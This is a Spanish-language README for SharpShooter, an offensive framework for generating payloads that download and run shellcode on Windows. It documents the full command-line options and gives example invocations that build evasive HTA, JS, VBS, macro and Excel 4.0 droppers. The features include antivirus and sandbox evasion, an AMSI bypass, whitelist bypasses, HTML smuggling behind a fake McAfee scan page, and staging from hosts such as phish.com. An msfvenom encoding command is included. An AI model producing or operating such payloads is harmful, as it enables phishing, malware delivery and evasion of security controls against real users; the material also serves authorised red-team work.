
Framework de generación de payloads
_____ __ _____ __ __
/ ___// /_ ____ __________ / ___// /_ ____ ____ / /____ _____
\__ \/ __ \/ __ `/ ___/ __ \\__ \/ __ \/ __ \/ __ \/ __/ _ \/ ___/
___/ / / / / /_/ / / / /_/ /__/ / / / / /_/ / /_/ / /_/ __/ /
/____/_/ /_/\__,_/_/ / .___/____/_/ /_/\____/\____/\__/\___/_/
/_/
SharpShooter es un marco de creación de payloads para la recuperación y ejecución de código fuente arbitrario en CSharp. SharpShooter es capaz de crear payloads en una variedad de formatos, incluyendo HTA, JS, VBS y WSF. Aprovecha la herramienta DotNetToJavaScript de James Forshaw para invocar métodos del objeto serializado DotNet de SharpShooter. Los payloads se pueden recuperar mediante entrega Web o DNS, o ambas; SharpShooter es compatible con el proyecto MDSec ActiveBreach PowerDNS. Alternativamente, también se pueden generar payloads sin etapa con ejecución de shellcode incrustada para los mismos formatos de scripting.
Los payloads de SharpShooter están cifrados con RC4 usando una clave aleatoria para proporcionar cierta evasión modesta de antivirus, y el proyecto incluye la capacidad de integrar detección de sandbox y keying de entorno para ayudar a evadir la detección.
SharpShooter incluye una plantilla CSharp predefinida para ejecutar shellcode con payloads con y sin etapa, pero cualquier código CSharp puede compilarse e invocarse en memoria usando reflexión, gracias al proveedor CodeDom de CSharp.
Finalmente, SharpShooter proporciona la capacidad de empaquetar el payload dentro de un archivo HTML usando la técnica Demiguise HTML smuggling.
SharpShooter apunta a las versiones v2, v3 y v4 del framework .NET, que se encuentran en la mayoría de las estaciones de trabajo Windows de usuarios finales.
La versión 1.0 de SharpShooter introdujo varios conceptos nuevos, incluyendo COM staging, ejecución de Squiblydoo y Squiblytwo, así como ejecución XSL. Para lograr esta nueva funcionalidad, se añadieron varias flags nuevas; --com, --awl y --awlurl.
La versión 2.0 de SharpShooter añadió el módulo de bypass de AMSI, junto con soporte para generar documentos habilitados para macros VBA y Excel 4.
Puede encontrar más información en el blog post de MDSec.
SharpShooter es altamente configurable, soportando varios tipos de payload, evasiones de sandbox, métodos de entrega y tipos de salida.
Ejecutar SharpShooter con el argumento --help producirá la siguiente salida:
usage: SharpShooter.py [-h] [--stageless] [--dotnetver <ver>] [--com <com>]
[--awl <awl>] [--awlurl <awlurl>] [--payload <format>]
[--sandbox <types>] [--amsi <amsi>] [--delivery <type>]
[--rawscfile <path>] [--shellcode] [--scfile <path>]
[--refs <refs>] [--namespace <ns>] [--entrypoint <ep>]
[--web <web>] [--dns <dns>] [--output <output>]
[--smuggle] [--template <tpl>]
optional arguments:
-h, --help show this help message and exit
--stageless Create a stageless payload
--dotnetver <ver> Target .NET Version: 2 or 4
--com <com> COM Staging Technique: outlook, shellbrowserwin, wmi, wscript, xslremote
--awl <awl> Application Whitelist Bypass Technique: wmic, regsvr32
--awlurl <awlurl> URL to retrieve XSL/SCT payload
--payload <format> Payload type: hta, js, jse, vba, vbe, vbs, wsf
--sandbox <types> Anti-sandbox techniques:
[1] Key to Domain (e.g. 1=CONTOSO)
[2] Ensure Domain Joined
[3] Check for Sandbox Artifacts
[4] Check for Bad MACs
[5] Check for Debugging
--amsi <amsi> Use amsi bypass technique: amsienable
--delivery <type> Delivery method: web, dns, both
--rawscfile <path> Path to raw shellcode file for stageless payloads
--shellcode Use built in shellcode execution
--scfile <path> Path to shellcode file as CSharp byte array
--refs <refs> References required to compile custom CSharp,
e.g. mscorlib.dll,System.Windows.Forms.dll
--namespace <ns> Namespace for custom CSharp,
e.g. Foo.bar
--entrypoint <ep> Method to execute,
e.g. Main
--web <web> URI for web delivery
--dns <dns> Domain for DNS delivery
--output <output> Name of output file (e.g. maldoc)
--smuggle Smuggle file inside HTML
--template <tpl> Name of template file (e.g. mcafee)
A continuación se proporcionan ejemplos de algunos casos de uso:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
Crea un payload JavaScript sin etapa orientado a la versión 4 del framework .NET. Este ejemplo creará un payload llamado foo.js en el directorio de salida. El shellcode se lee del archivo ./raw.txt. El payload intenta imponer cierta evasión de sandbox vinculando la ejecución al dominio CONTOSO y verificando artefactos conocidos de sandbox/VM.
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
Crea un payload HTA sin etapa orientado a la versión 2/3 del framework .NET. Este ejemplo creará un payload llamado foo.hta en el directorio de salida. El shellcode se lee del archivo ./raw.txt. El payload intenta imponer cierta evasión de sandbox verificando direcciones MAC virtuales conocidas. También se generará un payload de contrabando HTML llamado foo.html en el directorio de salida. Este payload usará la plantilla de ejemplo de escaneo de virus McAfee.
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
Este ejemplo crea un payload VBS con etapa que realiza entrega tanto Web como DNS. El payload intentará recuperar un archivo CSharp comprimido con GZip que ejecuta el shellcode proporcionado como un arreglo de bytes CSharp en el archivo csharpsc.txt. El archivo CSharp utilizado es la plantilla de ejecución de shellcode integrada de SharpShooter. El payload se crea en el directorio de salida con el nombre foo.payload y debe alojarse en http://www.foo.bar/shellcode.payload. El mismo archivo también debe alojarse en el dominio bar.foo usando PowerDNS para servirlo. El archivo VBS intentará vincular la ejecución al dominio CONTOSO y se incrustará en un archivo HTML usando la técnica de contrabando HTML con la plantilla de escaneo de virus McAfee. El payload resultante se almacena en el directorio de salida con el nombre foo.html.
SharpShooter.py --dotnetver 2 --payload js --sandbox 2,3,4,5 --delivery web --refs mscorlib.dll,System.Windows.Forms.dll --namespace MDSec.SharpShooter --entrypoint Main --web http://www.phish.com/implant.payload --output malicious --smuggle --template mcafee
Este ejemplo demuestra cómo crear un payload JS con etapa que realiza entrega web, recuperando un payload de http://www.phish.com/implant.payload. El payload generado intentará evadir el sandbox y compilar el payload recuperado, que requiere mscorlib.dll y System.Windows.Forms.dll como referencias DLL. El método Main en el espacio de nombres MDSec.SharpShooter se ejecutará si la compilación es exitosa.
SharpShooter.py --stageless --dotnetver 2 --payload vbs --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com outlook --awlurl http://192.168.2.8:8080/foo.xsl
Este ejemplo crea un stager COM contrabandeado en VBS que usa el método COM Outlook.CreateObject() como primitiva para ejecutar wmic.exe y ejecutar una hoja de estilo alojada. El parámetro --awl no se usa, por defecto es wmic.
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
Este ejemplo crea un archivo HTA contrabandeado que usa la interfaz COM XMLDOM para recuperar y ejecutar una hoja de estilo alojada.
SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
Este ejemplo crea un archivo de macro VBA que usa la interfaz COM XMLDOM para recuperar y ejecutar una hoja de estilo alojada.
SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee
Este ejemplo crea un archivo Excel 4.0 SLK que ejecuta el shellcode proporcionado y lo envuelve en HTML. El shellcode no puede contener bytes nulos, pista:
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'
Autor: Dominic Chell, MDSec ActiveBreach @domchell y @mdseclabs
Créditos: